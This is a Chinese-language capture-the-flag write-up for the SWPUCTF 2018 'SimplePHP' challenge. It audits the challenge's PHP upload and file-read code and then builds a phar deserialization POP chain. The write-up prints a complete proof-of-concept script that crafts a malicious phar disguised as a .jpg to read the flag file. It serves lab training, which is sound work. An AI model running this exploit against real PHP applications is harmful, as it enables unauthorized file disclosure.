[SWPUCTF 2018]SimplePHP 地址:https://buuoj.cn/challenges#[SWPUCTF%202018]SimplePHP
一、信息收集
打開這道題目,發現功能有文件讀取和文件上傳。簡單測試可知:
1、文件上傳有過濾,難以直接利用。后續的代碼也證實了上傳的文件后綴會被改為jpg
2、文件讀取處存在文件包含漏洞,可以讀取源代碼
二、代碼審計
在file.php中可以看的,文件沒有過濾phar流,直接調用file_exists函數,就 可以猜測道這題的思路應該就是phar的反序列化,如下:
function.php:
<?php //show_source(__FILE__); include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上傳成功!");</script>'; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>請選擇上傳的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } } ?>
class.php:
<?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; //$this->source = phar://phar.jpg echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
1、搜索__destruct,找到析構函數在C1e4r類中,其會echo成員變量str。
2、在Show類,有__toString函數,剛好可以被echo顯示。這里大概知道最終的poc會存在如下的偽代碼:
$c = new C1e4r(); $c->str = new Show();
3、在Test類,有__get函數,會在訪問一個不存在的成員變量是調用該方法。隨后該方法調用get函數-》file_get函數-》file_get_contents獲取內容。
4、至此知道,最終需要file_get_contents來獲取flag的內容,大概知道最終的poc會存在如下的偽代碼:
$t = new Test(); $t->params['notExist'] = '/var/www/html/f1ag.php';
5、以上,我們的pop鏈只剩下最后的Show類和Test類的關聯,還是在Show類的__toString函數中,可知,需要這個‘notExist’應為‘source’。最終的poc如下:
<?php class Test { public $str; public $params; public function __construct() { $this->params = array(); } } class C1e4r { public $test; public $str; } class Show { public $source; public $str = array(); } $t = new Test(); $c = new C1e4r(); $s = new Show(); $t->params['source'] = '/var/www/html/f1ag.php'; $s->str['str'] = $t; $c->str = $s; @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后綴名必須為phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub $phar->setMetadata($c); //將自定義的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要壓縮的文件 //簽名自動計算 $phar->stopBuffering(); ?>
三、驗證流程
1、使用poc生成phar.phar文件,將其該名為phar.jpg,然后上傳,如下:
2、然后需要找到上傳后的文件路徑,通過function.php中的如下代碼可以計算出文件名稱,但不知道什么原因,我計算出的名稱總是不對:
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
但是這里有文件列出的漏洞,還是可以找到文件名稱:
3、包含上傳的文件,base64解碼,得到flag,如下: